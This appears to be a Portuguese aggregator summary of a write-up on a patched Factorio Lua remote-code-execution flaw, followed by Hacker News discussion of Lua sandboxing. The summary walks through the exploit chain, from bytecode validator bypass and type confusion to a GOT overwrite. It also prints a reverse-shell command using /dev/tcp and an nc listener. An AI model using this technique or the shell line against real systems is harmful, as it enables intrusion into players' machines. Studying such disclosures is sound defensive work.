2 pontos por GN⁺ 2024-06-30 | 1 comentários | Compartilhar no WhatsApp
  • A vulnerabilidade na implementação de Lua do Factorio permitia que servidores maliciosos obtivessem execução arbitrária de código nos clientes conectados, afetando versões anteriores à 1.1.101, que já foi corrigida
  • Como o multiplayer executa o mesmo código Lua em um modelo determinístico de lockstep, o atacante podia acionar a vulnerabilidade pela rota de rede por meio de um mapa personalizado malicioso
  • No centro do problema estão a execução de bytecode permitida por load/loadstring do módulo base e um Off-By-One no validador do próprio Factorio, além da ausência de validação de tipos
  • O exploit primeiro vaza endereços via confusão de tipos em FORLOOP e depois manipula índices de upvalue para confundir LClosure com TString, montando objetos falsos e primitivas de leitura/escrita arbitrárias
  • O RCE no Linux trocava o endereço de ldexp na GOT por system e abusava da chamada a math.ldexp; também exigia ajustes separados por causa dos offsets de estruturas do Factorio e da diferença no formato %a

Escopo da vulnerabilidade e caminho de exposição do Lua

  • A vulnerabilidade na implementação de Lua do Factorio permitia que servidores maliciosos obtivessem execução arbitrária de código no cliente, afetando versões do Factorio anteriores à 1.1.101
  • O Lua é usado no Factorio para lógica do jogo, mods e implementação de mapas personalizados
    • Mods podem ser obtidos dentro do jogo ou em Factorio Mods
    • A comunidade de modding tem milhares de mods, e alguns ultrapassam 500 mil downloads
  • À primeira vista isso parece um ataque local, em que seria preciso instalar manualmente um mod malicioso, mas o modelo de sincronização do multiplayer expõe o interpretador Lua à rota de rede
  • O multiplayer do Factorio usa lockstep determinístico
    • Em vez do estado do jogo, apenas as entradas dos usuários são transmitidas pela rede
    • O jogo de todos os jogadores precisa simular cada tick da mesma forma
    • Se um jogador executar código Lua, os demais também precisam executá-lo para manter a sincronização
  • O caminho para fazer o servidor executar código Lua no cliente se resume a dois casos
    • Executar código Lua no servidor com o comando /c, quando há permissão
    • Criar um mapa personalizado contendo código Lua para que o cliente o execute ao entrar no servidor
  • Se um servidor malicioso for exposto no navegador de servidores, a vítima pode baixar o mapa e executar o código Lua nesse processo

Fluxo completo do ataque

  • O ataque começa com um servidor de Factorio fornecendo um mapa malicioso
    • O exploit é incluído no código Lua do cenário do mapa
    • Quando o cliente se conecta ao servidor, baixa o mapa e executa o código Lua correspondente
  • Em seguida, as fragilidades da implementação de Lua são usadas para montar um objeto falso (fake object)
    • O objeto falso permite vazamento e corrupção de memória
    • Com isso, é possível criar várias primitivas que levam à execução de código
  • Em linguagens dinâmicas, objetos falsos são um meio central para o atacante obter forte controle
    • Strings podem ser usadas para vazar dados arbitrários
    • Arrays ou tabelas podem ser usados para escrever em memória arbitrária
    • Se houver um caminho de chamada para função nativa, isso pode levar ao controle do fluxo de execução

Execução de bytecode Lua e problemas no validador

  • Os módulos Lua incluídos no Factorio são limitados
    • debug: acesso a recursos de depuração
    • math: interface matemática padrão em C
    • bit32: operações de bits
    • string: manipulação de strings
    • table: manipulação de tabelas
    • base: funções centrais do Lua, como print
  • Módulos explicitamente perigosos, como os.execute, não estão presentes, mas load e loadstring do módulo base permitem execução de bytecode, ampliando bastante a superfície de ataque
  • O Lua primeiro compila o código-fonte em bytecode Lua e depois o executa no interpretador
    • O bytecode não é código de máquina da CPU, e sim uma representação que apenas o interpretador Lua consegue executar
    • Se for possível injetar bytecode diretamente, dá para executar bytecodes inválidos que o compilador normal nunca geraria
  • Os desenvolvedores do Lua conheciam o risco de executar bytecode arbitrário e criaram um validador, mas o removeram no Lua 5.2
    • Na mailing list do Lua ficou registrado que o validador anterior era contornado repetidamente e que aplicações que executam Lua arbitrário deveriam evitar aceitar scripts pré-compilados
  • Os desenvolvedores do Factorio aparentemente implementaram seu próprio validador de bytecode para o Lua 5.2.1
    • A lógica de proteção se concentrou em bloquear parâmetros OOB óbvios, como saltos para fora do código ou índices fora do array de constantes
    • Por causa da semântica de alguns opcodes, havia um problema de Off-By-One, e offsets de salto como JMP 0 podiam permitir desvio para fora do bloco de código
    • Como a área de constantes pode ser alocada após o chunk de código, o atacante podia armazenar bytecode na seção de constantes e executá-lo burlando a checagem com esse salto off-by-one

Vazamento de endereços: confusão de tipos em FORLOOP

  • Objetos internos do Lua são representados por TValue
    • TValue é composto pela área de valor Value e por tt_, que indica o tipo
    • Value ocupa 8 bytes e, dependendo do tipo, pode ser interpretado como double ou ponteiro
  • No Lua 5.2, todos os números são representados como double
    • Números podem ser armazenados inline dentro da union Value, sem passar por ponteiros
    • Se um ponteiro de string for interpretado como número, os bits do ponteiro podem vazar como valor double
  • Em Lua comum, print(function) pode exibir um endereço, mas isso foi removido no Factorio, e endereços de string também não podem ser vazados diretamente
  • O opcode de loop FORLOOP normalmente vem após FORPREP
    • FORPREP verifica se o valor inicial, o limite e o passo são numéricos
    • Dentro de FORLOOP, o tipo do parâmetro step não é checado, e as verificações baseadas em lua_assert não são forçadas no build padrão
  • O atacante pode manipular o bytecode para remover FORPREP e executar apenas FORLOOP
    • Isso cria por bytecode uma situação que o compilador jamais produziria a partir de código Lua normal
    • Se um objeto como string for colocado na posição do step, o ponteiro daquele TValue será interpretado como double e vazado
  • O valor vazado não aparece como um double normal, mas como os bits de um ponteiro interpretados como double, algo como 2.1944577826691e-317
    • O formato IEEE 754 binary64 é composto por 1 bit de sinal, 11 bits de expoente e 52 bits de mantissa
    • Se o valor do ponteiro parecer um double denormalizado, é possível recuperar o valor original a partir da mantissa
  • O Lua 5.2 não tem pack/unpack nem tipos inteiros, o que torna a conversão trabalhosa
    • Inicialmente, a mantissa e o expoente eram lidos com string.format("%.13a", double) para reconstruir o ponteiro
    • No exemplo, o valor vazado foi restaurado ao ponteiro 0x43d6c0, e os dados reais da string ficam 24 bytes após o cabeçalho TString

Manipulação de upvalue e confusão de tipos com LClosure

  • Upvalue é o mecanismo do Lua para acessar variáveis fora do escopo atual da função
    • As informações de upvalue no bytecode incluem índice, nome, se a posição é da pilha e o índice na pilha
    • O atacante pode modificar o índice de upvalue incluído no bytecode
  • Ao alterar o índice de upvalue, é possível referenciar outro TValue da pilha em vez da variável local original
    • No exemplo, o índice da upvalue target é incrementado em um para apontar para a LClosure da função atual
    • O bytecode manipulado passa a imprimir LClosure: 0x... em vez de nil
  • No Lua, a unidade real de execução de uma função é dividida entre Prototype e Closure
    • Proto atua como template da função, contendo bytecode, constantes, linhas de código-fonte e informações de upvalue
    • LClosure é criada em tempo de execução e liga o Proto à lista de upvalues
  • O opcode CLOSURE cria uma nova closure Lua, coloca-a na pilha e inicializa suas upvalues
    • Se houver 3 variáveis locais, a nova LClosure pode ficar em base + 3
    • Se o índice da upvalue for alterado para 3, essa LClosure TValue pode ser capturada
  • Se a função interna sobrescrever a LClosure externa com uma string e depois retornar, o Lua tentará usar essa string como se fosse uma LClosure, causando falha
    • A verificação de tipo no caminho de OP_RETURN depende de lua_assert e não é forçada na configuração padrão
    • Como resultado, o cl do frame atual em execução pode apontar não para uma LClosure real, mas para um TString controlado pelo atacante
  • Aproveitando a diferença de layout entre TString e LClosure, a área de dados da string passa a se sobrepor às posições de Proto *p e Upval **upval
    • Essa confusão de tipos permite controlar o ponteiro do prototype da função e o ponteiro do array de upvalues
    • Se esses ponteiros forem direcionados para regiões controláveis de memória, é possível construir objetos falsos

Objetos falsos e primitivas de leitura/escrita

  • Existem, em linhas gerais, dois caminhos para criar objetos falsos
    • Fazer um Proto falso apontar para um array falso de TValue
    • Fazer um array falso de UpVal apontar para um TValue falso
  • O caminho via constantes foi escolhido porque tem menos padding e permite reutilizar constantes dentro da função
    • TString falsa
    • Array de TValue apontando para a TString falsa
    • Proto apontando para o array falso de TValue
    • LClosure apontando para o Proto falso
  • A TString falsa pode ter o comprimento arbitrariamente aumentado e virar uma primitiva de leitura
    • O Lua assume que os dados da string ficam após o cabeçalho TString
    • Com str:sub(), é possível ler a memória alcançada por essa string falsa
    • Como o índice de strings no Lua começa em 1, é preciso um ajuste de 1 byte ao calcular o cabeçalho
  • A primitiva de escrita é obtida fazendo uma UpVal falsa apontar para o TValue no endereço de escrita desejado
    • Quando se atribui um número a uma variável Lua, um TValue numérico é escrito naquela posição
    • Como números são armazenados inline nos primeiros 8 bytes de TValue, a área de valor pode ser controlada
    • Ao mesmo tempo, os 8 bytes seguintes recebem a informação de tipo, o que também pode corromper a memória adjacente
  • Como números Lua são double, é preciso converter para gravar um padrão inteiro de bits específico
    • Usa-se a menor unidade de um double denormalizado, 2^-1074
    • A codificação segue a forma integer_to_double(integer) = integer * 2^-1074

Controle do ponteiro de instrução e bypass de ASLR

  • Em Lua, Light C Function armazena o ponteiro de função inline dentro do TValue
    • O tipo da função é LUA_TFUNCTION, e Light C Function é representada pelo valor LUA_TLCF igual a 22
    • Se a área de valor do TValue contiver 0xdeadbeef e a área de tipo contiver 22, isso poderá ser chamado como se fosse uma função naquele endereço
  • Ao chamar uma Light C Function falsa, passa-se a controlar o instruction pointer
    • No exemplo, o RIP vai para 0xdeadbeef e o processo falha
    • A partir daí, é possível seguir para técnicas de alteração de fluxo, como uma cadeia ROP
  • O fato de o ponteiro de Light C Function ser armazenado inline também ajuda no vazamento de endereços
    • Se funções Lua forem implementadas como light C functions, dá para usar a primitiva de vazamento para ler endereços de funções como print
    • Isso permite calcular o endereço-base necessário para contornar o ASLR
  • Se alguma função sandboxed ainda existir no binário, também é possível contornar restrições apontando a fake function para esse endereço e chamando-a

Ajustes específicos para o Factorio

  • Os testes iniciais foram feitos no interpretador oficial do Lua, mas a implementação de Lua do Factorio tem layout de estruturas diferente
  • O CommonHeader dos objetos de GC do Factorio inclui um ponteiro previous
    • No Lua oficial, a estrutura é next, tt, marked
    • No Factorio, ela aparenta ser previous, next, tt, marked
  • Essa diferença desloca alguns offsets em 8 bytes
    • O cabeçalho TString passa de 24 para 32 bytes
    • Foi preciso corrigir o cálculo do endereço do conteúdo da string e os endereços relativos da primitiva de leitura
    • O ponteiro extra também precisou ser considerado no cálculo da UpVal falsa e da fake closure
  • No Factorio, o comportamento do formato %a também diferia dos testes no Lua oficial
    • string.format("%.13a", 2.1038461432219e-316) produzia não o esperado 0x0.000000289c130p-1022, mas algo no formato 0xa.2704c00000000p-1052
    • Isso quebrava a restauração do double baseada em formatação de string
  • A conversão final passou então para um método puramente numérico
    • Valores denormalizados podem ser vistos como inteiros iniciando no bit menos significativo à direita
    • O valor vazado é restaurado com double_to_number(double) = double * 2^52 * 2^1022
    • Como 2^1074 não pode ser representado como double, a multiplicação é dividida em duas etapas

RCE no Linux: troca da GOT e math.ldexp

  • No Linux, o caminho de RCE escolhido usou troca da GOT em vez de uma cadeia ROP
    • Foi procurada uma função importada que pudesse ser chamada a partir do Lua e cujo primeiro argumento fosse controlável
    • A entrada correspondente na GOT foi sobrescrita com o endereço de system
    • Em seguida, essa função foi chamada pelo Lua para agir como system(command)
  • Dentro do conjunto limitado de bibliotecas Lua expostas pelo Factorio, math.ldexp foi escolhida como função adequada
    • Internamente, ela chama ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2))
    • Verificações no GDB mostraram que o segundo argumento Lua acabava sendo passado como o primeiro argumento em registrador RDI na chamada libc
  • A GOT fica antes do heap, então a primitiva existente de leitura com string falsa não conseguia lê-la diretamente
    • A primitiva de leitura só alcança endereços após o cabeçalho da string falsa
    • Foi usado um segmento gravável antes da GOT para montar uma TString falsa em posição anterior à GOT
  • Ao criar a TString falsa antes da GOT, tornou-se possível ler endereços de funções da libc e contornar o ASLR
    • No exemplo, o endereço de memcpy foi lido a partir da GOT
    • Com offsets da libc 2.38 do Fedora 39, calculou-se libc_base = memcpy - 0x138b80 e system = libc_base + 0x2a3b0
  • Depois disso, a entrada da GOT de ldexp foi sobrescrita com o endereço de system
    • No exemplo, o endereço 0x289ef00 foi usado como entrada da GOT de ldexp
    • A sobrescrita ocorreu na forma write(0x289ef00, system)

Execução do comando e shell remoto final

  • Inicialmente, a ideia era armazenar o comando em uma string Lua e chamar math.ldexp(0, addr_of(cmd) + 32)
    • O comando tinha a forma sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &"
    • Mas o Lua chamava ldexp com um parâmetro de 32 bits, truncando os bits altos do endereço da string e causando falha
  • A solução foi escrever a string de comando diretamente no segmento gravável do binário já usado antes para montar strings falsas
    • Como o PIE não estava ativado, o endereço do binário principal era pequeno o bastante
    • A string de comando foi gravada perto de 0x289c150 por meio de várias chamadas a write()
  • Após a troca da GOT, a chamada math.ldexp(0, 0x289c150) passa a funcionar como system(0x289c150)
  • O resultado final foi confirmado por uma shell conectada a um listener local nc -lvp 9001
    • O prompt exibido era sh-5.2$
    • O resultado de whoami era victim

Desafio prático e materiais de referência

1 comentários

 
GN⁺ 2024-06-30
Comentários do Hacker News
  • Inesperado
    Como Lua interpreta bytecode, achei que conseguiria verificar se os argumentos das instruções faziam sentido. Por exemplo, se apontavam para memória alocada pelo Lua, e coisas do tipo
    Mas, na prática, não era assim: mesmo ao inserir bytecode com argumentos inválidos, ele era executado do mesmo jeito. O processo de comprometimento então prosseguia a partir daí
    Além disso, em vez de corrigir o interpretador, o plano é analisar estaticamente o bytecode, mas isso parece funcionar só em casos simples
    Para uma linguagem interpretada supostamente favorável a sandbox, é bem decepcionante, e fico curioso se aceitariam um patch para corrigir o interpretador para que ele não confie na entrada. Parece que se preocupam com perda de desempenho, mas, quando a opção rápida é LuaJIT, isso soa duvidoso

    • Sobre um “patch para fazer o interpretador não confiar na entrada”, entendo que a posição dos desenvolvedores de Lua é que processos que executam código Lua arbitrário devem aceitar apenas código-fonte e desativar o carregamento direto de bytecode
      Essa abordagem parece razoável, pois mantém a opção de carregar diretamente bytecode confiável, sem precisar colocar no interpretador verificações dinâmicas que afetariam todos os usuários
    • Ao contrário de um equívoco comum, Lua na verdade não é amigável a sandbox
      Por design, Lua não oferece garantia de término, nem há uma boa forma de forçar o encerramento de programas não confiáveis. Se você aceita entrada Lua não confiável, deve assumir que o programa pode travar indefinidamente
      Lua é excelente para entrada semiconfiável que passou por uma diligência mínima, como código baixado da internet. Mesmo que o código seja de fato malicioso, ela limita bastante os danos, mas não os elimina por completo
      Se você precisa de entrada totalmente não confiável, no estilo JavaScript, o certo é o Luau, fork do Roblox: https://luau-lang.org/sandbox
    • Não é difícil considerá-la pouco amigável a sandbox?
      Como outras linguagens mostraram, criar um interpretador seguro para bytecode não é algo simples. Também é um compromisso para manter a implementação de referência simples
      Quando se trata de executar código de terceiros, eu não confiaria na maioria desses interpretadores. Considerando o dinheiro e a atenção que navegadores web recebem em P&D, eu mal confio até nos navegadores
    • Isso era previsível. Deve-se executar apenas bytecode que tenha sido realmente gerado por um compilador correto. Caso contrário, surgem violações de segurança de memória ou escapes de sandbox, inclusive escapes de sandbox via violação de segurança de memória
      É como não executar código de máquina arbitrário
      O Luau também tem a mesma propriedade, e não é como se o Roblox sofresse o tempo todo com escapes de sandbox
    • Java, Wasm e BPF mostram que bytecode estaticamente verificável é possível mesmo em linguagens compiladas por JIT. O problema de Lua é que o bytecode não fornece as informações necessárias para verificar completamente a segurança
  • Eu gostaria que esse tipo de coisa fosse definido ou documentado com mais clareza. Acabamos tendo que descobrir por conta própria quais linguagens são razoavelmente garantidas como seguras
    Por exemplo, há o caso básico em que código estático é executado diretamente pelo usuário, que é o cenário com que linguagens em geral, incluindo Lua, costumam se preocupar
    Também há o caso em que o código é recebido dinamicamente e executado durante um processo de atualização, mas apenas por canais oficiais. Nesse caso talvez baste tornar o processo seguro, mas não é certo
    Há ainda casos em que usuários podem adicionar código como plugins, instaláveis facilmente com um clique em uma loja. Os plugins até podem ser revisados, mas quase nunca o são de verdade, então é preciso avaliar se é necessário sandbox ou se os usuários devem tomar cuidado
    Também há jogos multiplayer em que só o servidor é estendido por plugins, e o cliente não. É preciso levar em conta que jogadores que hospedam servidores testam ativamente vários plugins, e a comunidade de plugins também pode ser muito mais perigosa
    Por fim, há jogos multiplayer em que, como em um navegador, o servidor pode executar código arbitrário no cliente. Nesse caso, é preciso ter muito cuidado especialmente com o sandbox do lado do cliente, porque jogadores entram em servidores arbitrários sem pensar nas implicações de segurança
    Factorio é exatamente esse último caso. Não me oponho necessariamente à ideia de que os desenvolvedores devam avaliar isso, mas, por exemplo, nem sempre é óbvio que a função load de Lua pode executar bytecode arbitrário inseguro
    Sinceramente, eu não sabia que bytecode Lua era inseguro, e sabia que bytecode LuaJIT era inseguro. Mas isso parece estar escrito aqui e ali, como se fosse um fato óbvio, em listas de e-mail ou issues do GitHub
    Também há o problema de o servidor conseguir travar o cliente. Basta rodar um loop infinito. Mas isso é muito mais difícil de evitar e talvez tentar evitar nem faça sentido

    • Não se deve presumir que qualquer forma de executar código controlado por um atacante seja segura. Ainda mais se ela não declarar explicitamente que é segura e não tiver investido esforço no nível do Google para sustentar isso
    • Mordhau, um jogo baseado na Unreal Engine, tinha um recurso de mensagem do dia em que, se o operador do servidor inserisse uma URL, um navegador dentro do jogo abria quando o jogador se conectava
      Não havia opção do lado do cliente para desativar o navegador, e, pelo que sei, os desenvolvedores acabaram desativando o recurso por completo, embora eu não tenha certeza do estado atual
      Isso mostra como jogos e engines de jogos ficaram complexos. Há um navegador web embutido em lugares onde aparentemente não há grande motivo para isso
    • A primeira coisa a observar é se a solução afirma claramente ser um sandbox seguro contra execução especulativa. Não deve haver muitos lugares que façam isso, mas alguns fazem, e dá para começar a julgar a partir daí
  • Por trás de Factorio há uma equipe de desenvolvimento realmente muito boa, então acredito que estejam fazendo o possível para corrigir problemas assim. Ainda assim, o desenvolvimento de jogos como um todo tem uma natureza muito criativa, então práticas de código e coisas como segurança parecem acabar ficando em segundo plano
    Fico me perguntando quantas vulnerabilidades zero-day devem estar escondidas em clientes e servidores de jogos

    • Eu tendo a considerar que jogos com interação remota basicamente não são totalmente seguros. É melhor executar o Steam e todos os jogos dentro de algum tipo de sandbox
      O Flatpak pode ajudar como ponto de partida. Contêineres não são uma fronteira de segurança forte, mas podem barrar exploits simples
    • Provavelmente não deve ser muito bom. Basta pensar por que fabricantes de consoles como Xbox, Sony e Nintendo não permitem conexão a IPs de servidores arbitrários nem suporte a mods
      Não é só uma decisão comercial simples para forçar o uso dos serviços online oficiais. Se você bloqueia conexões a IPs de servidores de terceiros, mesmo que haja bugs graves no código de rede ou no restante do jogo, eles nunca serão explorados. Ao restringir mods, até mesmo mods “seguros” como os em Lua, dá para bloquear ainda mais exploits
      Código de rede cheio de bugs historicamente já derrubou o DRM de vários consoles
      Além dos exploits, os consoles se orgulham de fazer revisão do código antes de ele ser distribuído. Permitir a execução de Lua em um sistema remoto significa que, mesmo após a aprovação, o jogo pode ser reconfigurado remotamente pelo próprio desenvolvedor, e os fabricantes de consoles não querem permitir isso sem uma análise muito cuidadosa
    • Por isso é melhor ter um computador separado para jogos. É melhor nunca colocar nele documentos importantes ou materiais de trabalho
      Idealmente, o isolamento seria em uma máquina virtual, mas configurar uma máquina virtual para jogos dá um trabalho enorme e pode excluir alguns jogos que usam anticheat
    • Que práticas de código? Factorio está entre os softwares mais bem programados, estáveis e consistentes que já vi
      Considerando o quanto outras áreas precisam desesperadamente de gente que programe bem, chega a ser quase uma pena que pessoas tão qualificadas trabalhem na área de jogos
  • Em geral, verificação de programas é extremamente difícil, e não só por causa do teorema de Rice. Especialmente em uma linguagem de bytecode não trivial como Lua, é fácil demais deixar passar algum ponto. Em Wasm, por exemplo, não existe o conceito de loop for
    É estranho que, depois de o projeto upstream ter desistido desse problema por ser difícil demais, os desenvolvedores do Factorio tenham tentado consertar ou escrever por conta própria um verificador
    A função loadstring do Minetest proíbe bytecode completamente: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...
    Fico me perguntando por que mods de Factorio precisam da capacidade de executar bytecode Lua bruto. Se não precisassem, o verificador também não teria sido necessário
    Para começo de conversa, executar código Lua baixado pela rede é bastante arriscado. Ambientes de execução JavaScript passaram por décadas de ciclos de descoberta e correção de exploits. Lua também passa por isso, mas em escala menor e com menos pessoas trabalhando para melhorar a segurança
    Talvez a principal proteção seja o fato de haver menos gente rodando servidores de jogo maliciosos

    • Em resposta a esse problema, Factorio desativou o carregamento de bytecode. O bytecode permitia coisas legais, como escrever mods em linguagens de pré-processamento que geravam bytecode Lua, mas no fim a questão de segurança foi mais importante
      Por motivos de segurança semelhantes, quase toda a biblioteca de debug também deixou de ficar disponível para mods
    • No fim, todo desenvolvedor de jogos acaba aprendendo do jeito difícil que precisa remover o recurso de bytecode da função loadstring() do Lua
      Por exemplo, há um texto dos desenvolvedores do ROBLOX de 12 anos atrás: https://archive.is/oXPyM
      Sinceramente, seria melhor vir desativado por padrão. Os usos legítimos são bem de nicho
    • Factorio também tem isto: https://mods.factorio.com/mod/Moon_Logic
      Além disso, criar software que simplesmente não possa ser executado em um ambiente Turing-completo é bastante restritivo
      De todo modo, o que realmente é necessário é um interpretador com um sistema de permissões robusto
    • O teorema de Rice não parece ser o ponto central aqui. Ele pode ser útil como um primeiro filtro. Se você acredita que dá para decidir isso “simplesmente” de forma exata, Henry Rice provou meio século atrás que isso é impossível e ganhou um doutorado por isso, então é melhor parar
      Mas, se você aceita o compromisso de admitir apenas parte das entradas que satisfazem os requisitos reais, o teorema de Rice deixa de ser a questão. Agora resta apenas uma tarefa extremamente difícil, em vez de uma impossível
      Mesmo que falhe, talvez sirva de consolo saber que ao menos não dirão que era algo impossível
      Factorio não deveria ter seguido esse caminho
    • O teorema de Rice não se aplica aqui. Na definição ampla de “sintaxe” usada pelo teorema de Rice, as coisas que se quer verificar no bytecode são sintaxe
  • Pergunta de completo iniciante: por que os jogos usam Lua e não, por exemplo, JavaScript embutido com uma interface definida, como uma API para ajustar o estado do jogo?
    Parece que daria para aproveitar o trabalho muito mais forte de reforço que foi feito para o isolamento em ambientes de navegador. Navegadores são difíceis, muito bem testados e alvos com muito investimento
    Também houve um trabalho enorme em otimização de desempenho para tipagem dinâmica
    Além disso, se os mods precisarem de UI, existe canvas; e, se for oferecido um modelo parecido com DOM, algo como React também se torna potencialmente possível

    • Pelo que experimentei alguns anos atrás, a maioria dos engines JavaScript era antiga e quase sem manutenção, e os engines usados em navegadores são feitos com prioridade para o navegador, não projetados para serem fáceis de integrar
      Lua foi feita especificamente para integração, por isso há bastante material e uma grande comunidade dando suporte
    • A maioria dos engines JavaScript é muito mais complexa de embutir do que Lua. Lua está entre os softwares mais fáceis de compilar que consigo imaginar
      Além disso, você está confundindo APIs comuns de navegador com JavaScript. Um engine JavaScript não fornece canvas nem DOM. O V8, por exemplo, também não fornece; essas coisas precisam ser adicionadas por conta própria
  • Não sou desenvolvedor de segurança, mas quero dizer, por formalidade: “uau, isso é extremamente impressionante!”. É difícil acreditar no grau de clareza e pensamento lógico necessário para rastrear um caso de falha tão complexo. Definitivamente não é meu ponto forte; eu sou muito mais do tipo “pessoa das ideias”
    Em termos de conteúdo, acho que estaremos completamente ferrados quando surgir um grupo de engenheiros de software de IA equipado com 10 mil posts de blog sobre como encontrar exploits de memória esquisitos como esse
    No fim, acho que precisamos de um paradigma totalmente novo para segurança, ou pelo menos de um novo elemento dentro da stack. Falar de clientes modernos “confiáveis” ou de papéis de DB parece remendar buracos em queijo suíço
    Com sorte, talvez dê para colocar mais uma nova camada de queijo suíço gerenciada por LLMs

    • Já há gente fazendo isso. Os resultados ainda não são promissores
  • Então, isso não mostra um exploit que depende de carregamento de bytecode, um recurso anunciado como passível de abuso? O que estou deixando passar?

    • O ponto interessante foi o tamanho da falha dos desenvolvedores de Lua no verificador de bytecode. Não era um problema complexo; eram coisas simples, como um erro off-by-one ao modelar instruções básicas como jmp, ou o fato de o interpretador Lua tentar interpretar como instrução tudo que aparecesse pela frente
      Ele até tentava interpretar seções de dados que o verificador não tocava
    • Mesmo sendo um recurso anunciado, ele pode prejudicar usuários finais que não sabem o que são Lua ou bytecode
    • Pode haver um bug no interpretador de bytecode que permita execução arbitrária de bytecode mesmo em ambientes onde loadstring esteja desativado
  • Ainda bem que pessoas tão competentes estão do lado do bem

    • Acho que isso mostra quantas pessoas são inerentemente boas ou não causam dano. Não sei qual seria a palavra certa em inglês
      A mídia faz você acreditar no contrário, e os comentários médios nesse tipo de notícia reforçam essa crença, mas, se fosse mesmo assim, como seriam possíveis vários dos luxos e programas de apoio médico e social de que desfrutamos?
      Não quer dizer que o mundo não tenha problemas, mas certamente há muito mais pessoas construtivas do que destrutivas
      Acabei de vir de uma thread do HN sobre os Panama Papers, então essa ideia está mais presente para mim. Lá o tom era cínico, como se todos os ricos fossem maus e todos tivessem escapado completamente de processos, mas alguns comentários apontaram bem que, na realidade, nenhuma das duas coisas é verdade. Só que é preciso descer um pouco a thread e não se deixar levar pelo cinismo
  • Acho que bytecode Lua nunca deveria ser usado fora de sistemas embarcados que não têm recursos para rodar o parser de código-fonte Lua
    Além de vulnerabilidades de segurança, o único uso que parece útil é para programas de código fechado

  • Posso ter deixado passar algo e admito que li a parte final meio por alto, mas parece que o autor não abordou de fato quais medidas de mitigação foram tomadas. Eu gostaria de ouvir mais sobre essa parte